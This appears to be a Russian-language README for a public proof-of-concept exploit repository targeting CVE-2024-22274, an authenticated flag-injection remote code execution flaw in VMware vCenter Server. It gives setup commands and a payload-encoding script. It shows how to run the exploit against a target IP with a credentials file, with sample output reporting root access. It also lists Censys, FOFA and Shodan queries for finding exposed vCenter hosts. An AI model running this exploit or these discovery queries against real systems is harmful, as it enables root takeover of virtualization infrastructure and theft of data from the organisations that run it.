Повышение привилегий: VMware vCenter Server аутентифицированное RCE

📜 Описание

API-компоненты «com.vmware.appliance.recovery.backup.job.create» и «com.vmware.appliance.recovery.backup.validate» уязвимы к атаке внедрения флага, которую можно использовать для выполнения произвольных команд от имени пользователя root в целевой системе.

🛠️ Установка и настройка

[!NOTE] Для работы с этим PoC эксплойтом необходимо иметь действительные учетные данные и войти в оболочку VMware vCenter Server через SSH. Пользователь должен иметь роль "admin", как указано в файле vcenter_creds.txt.

$ git clone https://github.com/l0n3m4n/CVE-2024-22274-RCE.git
$ cd CVE-2024-22274-RCE 
$ python3 -m venv venv && source venv/bin/activate
$ pip install -r requirements.txt

Запустите или измените user2base64.sh для кодирования нового пользователя в base64, и он автоматически создаст payload.txt


$ bash user2base64.sh
Payload has been encoded to base64, saved payload.txt

⚙️ Использование

VMware-vCenter

Уязвимая версия

vulnerable-version

Успешное выполнение и эксплуатация

$ python3 CVE-2024-22274-RCE.py -t 192.168.56.103 -P 22 -p payload.txt -c vCenter_creds.txt
 ___ ___ _______                                          ______               __              
|   |   |   |   |.--.--.--.---.-.----.-----.______.--.--.|      |.-----.-----.|  |_.-----.----.
|   |   |       ||  |  |  |  _  |   _|  -__|______|  |  ||   ---||  -__|     ||   _|  -__|   _|
 \_____/|__|_|__||________|___._|__| |_____|       \___/ |______||_____|__|__||____|_____|__|  
    
                Author: l0n3m4n | vCenter RCE: CVE-2024-22274 | PoC: @mbadanoiu
                                                                              
[+] Connected to 192.168.56.103 via SSH
[+] Payload executed successfully. Output: 
   uid=0(root) gid=0(root) groups=0(root)

[+] Exploitation successful: You have root access.
[+] Finished executing commands on 192.168.56.103

Успешное выполнение, но нет root-доступа

Этот пример означает, что вы подключились, но полезная нагрузка не была настроена или загружена правильно. Обратитесь к PDF PoC для получения более подробной информации.

 ___ ___ _______                                          ______               __              
|   |   |   |   |.--.--.--.---.-.----.-----.______.--.--.|      |.-----.-----.|  |_.-----.----.
|   |   |       ||  |  |  |  _  |   _|  -__|______|  |  ||   ---||  -__|     ||   _|  -__|   _|
 \_____/|__|_|__||________|___._|__| |_____|       \___/ |______||_____|__|__||____|_____|__|  
    
                Author: l0n3m4n | vCenter RCE: CVE-2024-22274 | PoC: @mbadanoiu
                                                                              
[+] Connected to 192.168.56.103 via SSH
[+] Payload executed successfully. Output: 
   No privileges escalation detected.

[+] Exploitation failed: Root access not obtained.
[+] Finished executing commands on 192.168.56.103

Отсутствие имени пользователя или пароля в файле конфигурации

 ___ ___ _______                                          ______               __              
|   |   |   |   |.--.--.--.---.-.----.-----.______.--.--.|      |.-----.-----.|  |_.-----.----.
|   |   |       ||  |  |  |  _  |   _|  -__|______|  |  ||   ---||  -__|     ||   _|  -__|   _|
 \_____/|__|_|__||________|___._|__| |_____|       \___/ |______||_____|__|__||____|_____|__|  
    
                Author: l0n3m4n | vCenter RCE: CVE-2024-22274 | PoC: @mbadanoiu
                                                                              
[-] Error: Username or password not found in configuration file.

Ошибка подключения или ошибка SSH

Пожалуйста, проверьте адрес хоста и учетные данные.

 ___ ___ _______                                          ______               __              
|   |   |   |   |.--.--.--.---.-.----.-----.______.--.--.|      |.-----.-----.|  |_.-----.----.
|   |   |       ||  |  |  |  _  |   _|  -__|______|  |  ||   ---||  -__|     ||   _|  -__|   _|
 \_____/|__|_|__||________|___._|__| |_____|       \___/ |______||_____|__|__||____|_____|__|  
    
                Author: l0n3m4n | vCenter RCE: CVE-2024-22274 | PoC: @mbadanoiu
                                                                              
[-] Error: [SSH Error] Connection to 192.168.56.103 failed.

🔎 Обнаружение

CENSYS: "VMware vCenter", Фильтр: services.port: 443 AND tags: "VMware"
FOFA: title="VMware vCenter", Фильтр: port="443" && title="VMware vCenter"
SHODAN: "VMware vCenter", Фильтр: port:443 "VMware vCenter"

📝 Примечания

Этот PoC эксплойт не будет эффективным, если вы не понимаете, как интерпретировать скрипт, так как он был намеренно изменен, чтобы предотвратить использование его «скрипт-кидди» без понимания. VMware vCenter Server является критическим компонентом в управлении виртуализированными средами; если кто-то получит к нему доступ, он сможет получить полный контроль над виртуальной инфраструктурой и извлечь конфиденциальные данные. Этот PoC предназначен для тех, кто уже обладает небольшими техническими знаниями для его правильного использования, поэтому, если вы скрипт-кидди, стремящиеся вызвать нарушения без понимания последствий, этот эксплойт вам не пригодится.

💁 Ссылки

📢 Отказ от ответственности

Этот инструмент предоставляется только для образовательных и исследовательских целей. Создатель не несет ответственности за любое неправомерное использование или ущерб, причиненный инструментом. create issue

CVE-2024-22274-RCE

Популярное